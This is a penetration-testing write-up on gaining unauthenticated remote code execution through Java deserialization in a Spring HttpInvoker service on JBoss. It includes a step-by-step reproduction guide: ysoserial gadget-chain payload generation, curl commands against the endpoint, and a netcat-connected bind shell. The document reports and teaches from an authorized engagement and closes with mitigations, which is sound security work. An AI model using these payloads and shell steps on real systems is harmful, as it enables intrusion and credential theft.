Exploiting Java Deserialization in Spring HttpInvoker
A Penetration Testing Case Study – by Teodor Lupan
This paper documents the exploitation of an insecure deserialization vulnerability discovered during an authorized penetration test of an enterprise financial management application (“DebtApp”). The application uses Spring Framework’s HttpInvoker protocol, which relies on native Java serialization for client-server communication. We describe the complete journey from initial reconnaissance through to achieving a fully interactive shell on the production server, including the technical obstacles encountered and how they were systematically overcome.
The exploitation process revealed two significant technical challenges that are not well-documented in existing deserialization exploit literature: (1) Java serialization handle table corruption when attempting to manually construct composite serialized streams, and (2) a subtle bytecode version incompatibility between the attacker’s Java runtime and the target server that caused exploit payloads to fail silently. We detail the root causes and solutions for each.
The final exploit achieved unauthenticated Remote Code Execution (RCE) on the target server, demonstrating the critical risk posed by Java deserialization in enterprise applications.
DebtApp is an enterprise-grade debt collection and management platform deployed in a financial institution’s internal network. The application follows a traditional thick-client architecture: a Java Swing desktop application communicates with a JBoss EAP 7.1 application server over HTTP/HTTPS using Spring Framework’s HttpInvoker remoting protocol.
The HttpInvoker protocol works as follows: the client constructs a RemoteInvocation object containing the method name, parameter types, and arguments for the desired remote method call. This object is serialized using Java’s native ObjectOutputStream and sent as the HTTP request body. The server deserializes the object using ObjectInputStream, dispatches the method call, and returns the serialized result.
This architecture creates a direct attack surface: if the server deserializes incoming objects without filtering, an attacker can substitute a malicious gadget chain in place of the expected method arguments, achieving arbitrary code execution during the deserialization process itself — before any business logic or authentication checks run.
The target server was accessible through two network paths:
The server ran Red Hat Enterprise Linux 9.6 with OpenJDK 1.8.0_432 (Java 8). The DebtApp application was deployed as a WAR file on JBoss EAP and exposed 253 Spring HttpInvoker remoting endpoints at the URL pattern /CRSServicesWeb/remoting/<ServiceName>-httpinvoker.
Using Burp Suite as an intercepting proxy, we captured the thick client’s network traffic during normal operation. This revealed several critical details:
We captured a legitimate serialized request body (legit_body.bin) and analyzed its structure. The stream contained a RemoteInvocation object wrapping the method name, parameter types, and an Object[] arguments array. The arguments contained standard Java objects (DTOs, strings, etc.) expected by the target service method.
The key insight was that the arguments array could contain any serializable Java object — the deserialization process would instantiate whatever classes were in the stream, regardless of whether they matched the expected method signature. The type check only happens after deserialization, when the method is dispatched.
Analysis of the client application’s JAR files revealed the following gadget-chain-relevant libraries on the classpath:
The presence of commons-beanutils alongside the JDK’s TemplatesImpl class was sufficient for the CommonsBeanutils1-NoCommonsCollections (CB1-NoCC) gadget chain, which does not require commons-collections at all.
Our first exploitation attempts used ysoserial to generate standard CommonsCollections7 (CC7) payloads, which we wrapped in a RemoteInvocation binary envelope and sent to the HTTPS endpoint on port 4443. Every single attempt returned HTTP 500 with a 510-byte generic HTML error page.
We then tried the direct JBoss port 8180 — same result. We iterated through multiple chain types (CC1 through CC7, CB1, Spring1, Hibernate1), different endpoints, different Content-Type headers, with and without the custom headers observed in legitimate traffic. All returned the same 510-byte 500 error.
An important observation during this phase was that on port 4443, the 500-error responses had a Server: Apache header, while legitimate requests returned Server: JBoss-EAP/7. We initially hypothesized that the Apache reverse proxy was acting as a Web Application Firewall (WAF), inspecting the HTTP body for known Java exploit class names (which appear in plaintext in serialized streams, e.g. “org.apache.commons.collections.functors.InvokerTransformer”) and blocking matching requests.
This hypothesis seemed plausible — the server header difference was a strong signal. However, as we would later discover, this was a red herring. The actual cause was entirely different, and the server header difference was simply normal reverse proxy behavior when the backend returns a 500 error.
Our initial approach to constructing the wrapped payload was to manually concatenate binary fragments: a legit_body.bin prefix (containing the RemoteInvocation header and Object[] array descriptor), the raw ysoserial gadget payload bytes, and a suffix (containing the method name and parameter types from the legitimate request).
This failed with StreamCorruptedException on every attempt. The reason is fundamental to how Java serialization works: the serialization format uses an internal handle table that assigns sequential integer references to every class descriptor and object in the stream. When you splice pre-serialized bytes into a different stream, the handle references in the spliced bytes point to the wrong objects, corrupting the entire stream.
The solution was to construct the entire serialized stream in a single pass: programmatically instantiate the gadget chain objects in memory, wrap them in a RemoteInvocation object, and serialize the complete object graph using Java’s ObjectOutputStream. This tool (WrapPayload.java, later CustomPayload.java) handled all handle reference assignments correctly.
After solving the stream construction problem, payloads were syntactically valid but still returned 500 errors. To determine exactly where the failure occurred, we built a progressive diagnostic tool (DiagChain.java) that generated payloads of increasing complexity:
The critical finding: Test 4 succeeded (TemplatesImpl was deserialized without error), but Test 5 failed. The difference was that in Test 5, BeanComparator triggered TemplatesImpl.getOutputProperties(), which called defineClass() on the embedded bytecodes. The fast response time indicated defineClass() was throwing an exception immediately — not executing the payload.
The breakthrough came when we realized the issue was not in the gadget chain construction but in the bytecode embedded inside TemplatesImpl. Here is what happens during exploitation:
The Java class file format includes a major version number that indicates which JVM version compiled the class. A JVM will refuse to load classes compiled for a newer version. The version mapping is:
| Java Version | Bytecode Major | Compatible? |
| Java 8 | 52 | Yes ✔ |
| Java 11 | 55 | No ✘ |
| Java 17 | 61 | No ✘ |
| Java 21 | 65 | No ✘ |
Our attack machine ran Java 21, so Javassist generated bytecodes with major version 65. The target server ran Java 8, which can only load classes with major version 52 or below. When TemplatesImpl.defineClass() encountered version 65 bytecodes, it threw UnsupportedClassVersionError, which was caught and resulted in the HTTP 500 error — with no code execution.
Crucially, using –add-opens flags on Java 17/21 resolves module access restrictions for running ysoserial and Javassist, but does NOT affect the bytecode version. The generated bytecodes will still carry the host JVM’s version. This is a subtle but critical distinction that cost us significant debugging time.
The solution was straightforward once the root cause was identified: install Java 8 (Adoptium Temurin JDK 8u422-b05) on the attack machine and use it exclusively for all payload compilation and generation steps:
# Install Java 8
tar xzf OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
export J8=$(pwd)/jdk8u422-b05/bin/java
export JC8=$(pwd)/jdk8u422-b05/bin/javac
# Compile and generate payload with Java 8
$JC8 -cp .:ysoserial-all.jar CustomPayload.java
$J8 -cp .:ysoserial-all.jar CustomPayload SLEEP:10 payload_sleep10.bin
With Java 8, Javassist generated bytecodes with major version 52 — compatible with the server. The payload worked immediately.
With the bytecode version issue resolved, we were able to definitively test whether the Apache reverse proxy was performing any content-based filtering.
We sent the corrected payload (generated with Java 8) to both ports:
Both ports executed the payload successfully. There was no WAF. The Apache reverse proxy was simply forwarding all requests to JBoss without content inspection.
The misleading Server: Apache header on error responses had a simple explanation: when JBoss returns a 500 error, the Apache reverse proxy replaces the response body with its own generic error page. This is standard reverse proxy behavior (ProxyErrorOverride or similar configuration). The header change from JBoss-EAP/7 to Apache was an artifact of this error page substitution, not evidence of request blocking.
This is an important lesson for penetration testers: when you see different Server headers between successful and failed requests through a reverse proxy, don’t immediately assume content filtering. The more likely explanation is that the proxy substitutes its own error response for backend errors. Always verify by testing with a payload that you know should work.
The first confirmation of code execution used Thread.sleep(10000L) embedded in the TemplatesImpl bytecodes via Javassist. This is a pure-Java operation that causes a measurable, unambiguous server-side delay:
$ curl -k -s -X POST -H ‘Content-Type: text/plain’ \
–data-binary @payload_sleep10.bin \
-w ‘status=%{http_code} time=%{time_total}s\n’ \
‘http://TARGET:8180/CRSServicesWeb/remoting/\
ReferenceObjectService-httpinvoker’
status=500 time=10.053217s # <– 10 second delay = RCE
The 10.05-second response time (versus ~0.04s for failed payloads) conclusively proved that our code was executing on the server. The HTTP 500 status is expected — it occurs because RemoteInvocation method dispatch fails after the gadget chain fires during argument deserialization.
After confirming RCE, the next step was obtaining an interactive shell for further evidence gathering. We built a separate BindShell.java tool that used Javassist to embed Python socket bind shell code in the TemplatesImpl bytecodes:
# Generate bind shell payload on port 8181
$J8 -cp .:ysoserial-all.jar BindShell 8181 bindshell_8181.bin
# Terminal 1: Send payload
curl -k -s -X POST -H ‘Content-Type: text/plain’ \
–data-binary @bindshell_8181.bin -o /dev/null \
‘http://TARGET:8180/CRSServicesWeb/remoting/\
ReferenceObjectService-httpinvoker’
# Terminal 2: Connect to bind shell
sleep 2 && rlwrap nc TARGET 8181
The bind shell connected successfully, providing full interactive command execution on the target server.
The following information was gathered from the interactive shell to document the compromise:
$ id
uid=5000(appuser) gid=5000(appuser) groups=5000(appuser)
$ hostname -f
app01srv
$ uname -a
Linux app01srv 5.14.0-503.38.1.el9_5.x86_64 […] GNU/Linux
$ cat /etc/redhat-release
Red Hat Enterprise Linux release 9.6 (Plow)
$ java -version
openjdk version “1.8.0_432”
The shell ran as the application service account with access to all application files, configuration (including database connection strings and credentials), and the local filesystem.
Three significant obstacles were encountered during exploitation, in order of discovery:
Challenge 1: Serialization Handle Table Corruption
Problem: Manually splicing ysoserial-generated gadget bytes into a legitimate RemoteInvocation binary stream corrupted the Java serialization handle table, producing StreamCorruptedException.
Root cause: Java serialization assigns sequential handle references to every class and object. Injecting pre-serialized bytes shifts all subsequent references, breaking the stream.
Solution: Build the complete object graph (RemoteInvocation + gadget chain) in memory and serialize in a single ObjectOutputStream.writeObject() call. This correctly assigns all handle references.
Challenge 2: Misattributed Failures (The False WAF Hypothesis)
Problem: Exploit payloads sent through the Apache reverse proxy (port 4443) returned HTTP 500 with Server: Apache headers, while legitimate requests returned Server: JBoss-EAP/7. This led to the hypothesis that Apache was running mod_security or similar WAF rules blocking Java exploit class names.
Root cause: There was no WAF. The Apache proxy was forwarding all requests to JBoss. The Server header difference occurred because Apache serves its own error page when the backend returns a 500 error — standard reverse proxy behavior. The actual 500 was caused by the bytecode version mismatch (Challenge 3).
Resolution: Once correct payloads (Java 8 bytecodes) were used, both port 4443 and port 8180 succeeded identically, proving no content filtering existed on either path.
Challenge 3: Bytecode Version Incompatibility (The Real Blocker)
Problem: All payloads generated on the attack machine (Java 21) failed with immediate HTTP 500 responses, despite correct stream construction and valid gadget chains.
Root cause: Javassist generates bytecodes with the host JVM’s class file version. Java 21 produces version 65 bytecodes, but the target server (Java 8) can only load version 52 or below. TemplatesImpl.defineClass() rejected the bytecodes with UnsupportedClassVersionError.
Critical detail: Using –add-opens flags on Java 17/21 resolves module access issues for running ysoserial, but has NO effect on bytecode version. This is a common misconception.
Solution: Install Java 8 on the attack machine and use it for all compilation and payload generation. The JDK 8 Javassist runtime produces version 52 bytecodes, which the server accepts.
The following is the minimal set of steps required to reproduce the exploit from scratch on a clean Kali Linux (or any Linux) machine:
Step 1: Install Java 8
wget https://github.com/adoptium/temurin8-binaries/releases/download/\
jdk8u422-b05/OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
tar xzf OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
export J8=$(pwd)/jdk8u422-b05/bin/java
export JC8=$(pwd)/jdk8u422-b05/bin/javac
Step 2: Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/\
ysoserial-all.jar
Step 3: Create RemoteInvocation stub class (see source in paper)
mkdir -p org/springframework/remoting/support/
# [create RemoteInvocation.java – minimal stub with setters]
$JC8 org/springframework/remoting/support/RemoteInvocation.java
Step 4: Create and compile CustomPayload.java (see source in paper)
# CustomPayload.java uses Javassist + TemplatesImpl + BeanComparator
# to build CB1-NoCC chain wrapped in RemoteInvocation
$JC8 -cp .:ysoserial-all.jar CustomPayload.java
Step 5: Generate time-based RCE payload
$J8 -cp .:ysoserial-all.jar CustomPayload SLEEP:10 payload_sleep10.bin
Step 6: Send and confirm RCE
curl -k -s -X POST -H ‘Content-Type: text/plain’ \
–data-binary @payload_sleep10.bin \
-w ‘\nstatus=%{http_code} time=%{time_total}s\n’ \
‘http://TARGET:8180/CRSServicesWeb/remoting/\
ReferenceObjectService-httpinvoker’
# If time ~= 10s: RCE confirmed
Step 7: Obtain interactive shell
# Terminal 1:
$J8 -cp .:ysoserial-all.jar BindShell 8181 bindshell.bin
curl -k -s -X POST -H ‘Content-Type: text/plain’ \
–data-binary @bindshell.bin -o /dev/null \
‘http://TARGET:8180/CRSServicesWeb/remoting/\
ReferenceObjectService-httpinvoker’
# Terminal 2:
sleep 2 && rlwrap nc TARGET 8181
This engagement demonstrated that insecure Java deserialization remains a critical risk in enterprise applications, particularly those using legacy remoting protocols like Spring HttpInvoker. The vulnerability required no authentication, no special network position, and no insider knowledge — only network access to an HTTP port and publicly available tools.
The most instructive aspect of this engagement was the debugging process. The actual exploit took under a second to execute, but identifying why it failed required systematic analysis of Java serialization internals, bytecode format specifications, and reverse proxy behavior. The false WAF hypothesis cost significant time and energy, while the real blocker (bytecode version 65 vs 52) had an extremely simple fix once diagnosed.
For organizations maintaining legacy Java applications with serialization-based remoting, the message is clear: migrate to safe serialization formats, implement JEP 290 filtering as an interim measure, ensure application server ports are not directly accessible, and require authentication on all remoting endpoints. Any single one of these controls would have prevented this exploit.
This research was conducted as part of an authorized penetration test engagement. All findings were reported to the application owner through the standard vulnerability reporting process. Exploit artifacts were securely transmitted and subsequently destroyed after the engagement concluded.
Identifying details (application name, client organization, hostnames, IP addresses, and network topology) have been anonymized in this publication to prevent identification of the affected system.
Recent Comments